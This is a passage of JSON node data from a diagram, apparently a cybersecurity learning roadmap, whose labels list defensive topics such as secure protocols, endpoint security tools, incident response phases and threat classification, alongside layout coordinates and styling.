false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LEgJtu1GZKOtoAXyOGWLE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -241.48970235046897,\n        \"y\": 3146.981221365879\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Endpoint Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -241.48970235046897,\n        \"y\": 3146.981221365879\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ck93KaGoD_sGLp2Y-DvIR\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 17.490706786434203,\n        \"y\": 2796.281557042384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Secure vs Unsecure Protocols\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 17.490706786434203,\n        \"y\": 2796.281557042384\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"9Z6HPHPj4escSVDWftFEx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -44.902998839319025,\n        \"y\": 2838.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FTP vs SFTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -44.902998839319025,\n        \"y\": 2838.322637378838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6ILPXeUDDmmYRiA_gNTSr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 102.09700116068097,\n        \"y\": 2838.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSL vs TLS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 102.09700116068097,\n        \"y\": 2838.322637378838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gNFVtBxSYP5Uw3o3tlJ0M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 237.09700116068097,\n        \"y\": 2838.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IPSEC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 237.09700116068097,\n        \"y\": 2838.322637378838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LLGXONul7JfZGUahnK0AZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -43.902998839319025,\n        \"y\": 2893.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNSSEC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -43.902998839319025,\n        \"y\": 2893.322637378838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z_fDvTgKw51Uepo6eMQd9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 60.097001160680975,\n        \"y\": 2893.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LDAPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 60.097001160680975,\n        \"y\": 2893.322637378838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_9lQSG6fn69Yd9rs1pQdL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.09700116068097,\n        \"y\": 2893.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SRTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 134.09700116068097,\n        \"y\": 2893.322637378838\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9rmDvycXFcsGOq3v-_ziD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 226.09700116068097,\n        \"y\": 2893.322637378838\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"S/MIME\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 226.09700116068097,\n        \"y\": 2893.322637378838\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"217hzGfJmj6rLNjOGKx9q\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1.4413708711549589,\n        \"y\": 2944.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the following Terms\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1.4413708711549589,\n        \"y\": 2944.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3140n5prZYySsuBHjqGOJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -43.979485449910044,\n        \"y\": 2983.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Antivirus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -43.979485449910044,\n        \"y\": 2983.404798051745\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9QtY1hMJ7NKLFztYK-mHY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.11930413931702,\n        \"y\": 2983.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Antimalware\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 91.11930413931702,\n        \"y\": 2983.404798051745\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QvHWrmMzO8IvNQ234E_wf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.02051455009007,\n        \"y\": 2983.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EDR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.02051455009007,\n        \"y\": 2983.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iolsTC-63d_1wzKGul-cT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 281.02051455009007,\n        \"y\": 2983.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DLP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 281.02051455009007,\n        \"y\": 2983.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"35oCRzhzpVfitQPL4K9KC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.02051455009007,\n        \"y\": 3142.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ACL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 238.02051455009007,\n        \"y\": 3142.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tWDo5R3KU5KOjDdtv801x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -42.979485449910044,\n        \"y\": 3036.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Firewall & Nextgen Firewall\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -42.979485449910044,\n        \"y\": 3036.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l5EnhOCnkN-RKvgrS9ylH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 217.02051455009007,\n        \"y\": 3036.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HIPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 217.02051455009007,\n        \"y\": 3036.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LIPtxl_oKZRcbvXT4EdNf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 280.02051455009007,\n        \"y\": 3036.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NIDS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 280.02051455009007,\n        \"y\": 3036.404798051745\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7w9qj16OD4pUzq-ItdxeK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -41.979485449910044,\n        \"y\": 3089.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NIPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -41.979485449910044,\n        \"y\": 3089.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jWl1VWkZn3n1G2eHq6EnX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 21.02051455009007,\n        \"y\": 3089.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Host Based Firewall\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 21.02051455009007,\n        \"y\": 3089.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SLKwuLHHpC7D1FqrpPRAe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.02051455009007,\n        \"y\": 3089.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sandboxing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 222.02051455009007,\n        \"y\": 3089.404798051745\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1jwtExZzR9ABKvD_S9zFG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -41.51099093222729,\n        \"y\": 3142.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EAP vs PEAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -41.51099093222729,\n        \"y\": 3142.404798051745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HSCGbM2-aTnJWUX6jGaDP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 106.4142201758433,\n        \"y\": 3142.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MBnDE0VyVh2u2p-r90jVk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 106.4142201758433,\n        \"y\": 3142.404798051745\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MBnDE0VyVh2u2p-r90jVk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -41.51099093222729,\n        \"y\": 3195.404798051745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WPA vs WPA2 vs WPA3 vs WEP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 383,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 383,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -41.51099093222729,\n        \"y\": 3195.404798051745\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 383,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cs_xQZ5Z0IFbqYy6Zkuwp\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -23.8699925629752,\n        \"y\": 3254.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the Incident Response Process\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 353,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -23.8699925629752,\n        \"y\": 3254.9867405192167\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"w6V4JOtXKCMPAkKIQxvMg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -45.8699925629752,\n        \"y\": 3291.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Preparation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -45.8699925629752,\n        \"y\": 3291.9867405192167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XsRoldaBXUSiGbvY1TjQd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.13000743702469,\n        \"y\": 3291.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Identification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 72.13000743702469,\n        \"y\": 3291.9867405192167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l7WnKuR2HTD4Vf9U2TxkK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.1300074370247,\n        \"y\": 3291.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.1300074370247,\n        \"y\": 3291.9867405192167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N17xAIo7sgbB0nrIDMWju\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -46.8699925629752,\n        \"y\": 3343.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Eradication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -46.8699925629752,\n        \"y\": 3343.9867405192167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vFjbZAJq8OfLb3_tsc7oT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.13000743702457,\n        \"y\": 3343.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 64.13000743702457,\n        \"y\": 3343.9867405192167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ErRol7AT02HTn3umsPD_0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 167.13000743702457,\n        \"y\": 3343.9867405192167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lessons Learned\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 167.13000743702457,\n        \"y\": 3343.9867405192167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t5IarTzpQONANS6ReNlNR\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 34.512440489979895,\n        \"y\": 3404.176158112092\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Threat Classification\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 34.512440489979895,\n        \"y\": 3404.176158112092\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"zqRaMmqcLfx400kJ-h0LO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -36.98755951002022,\n        \"y\": 3445.176158112092\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zero Day\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -36.98755951002022,\n        \"y\": 3445.176158112092\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HPlPGKs7NLqmBidHJkOZg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 82.0124404899799,\n        \"y\": 3445.176158112092\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Known vs Unknown\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 82.0124404899799,\n        \"y\": 3445.176158112092\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l0BvDtwWoRSEjm6O0WDPy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 278.0124404899799,\n        \"y\": 3445.176158112092\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"APT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 56,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 56,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 278.0124404899799,\n        \"y\": 3445.176158112092\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 56,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vDjRijJm5bwqBsIhtWtK6\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -327.3151442757461,\n        \"y\": 3205.725893479619\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Common Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -327.3151442757461,\n        \"y\": 3205.725893479619\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"rxzcAzHjzIc9lkWSw0fef\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -391.2531259423894,\n        \"y\": 3246.128361959861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VirusTotal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"positionAbsolute\": {\n        \"x\": -391.2531259423894,\n        \"y\": 3246.128361959861\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h__KxKa0Q74_egY7GOe-L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -391.2531259423894,\n        \"y\": 3299.128361959861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Joe 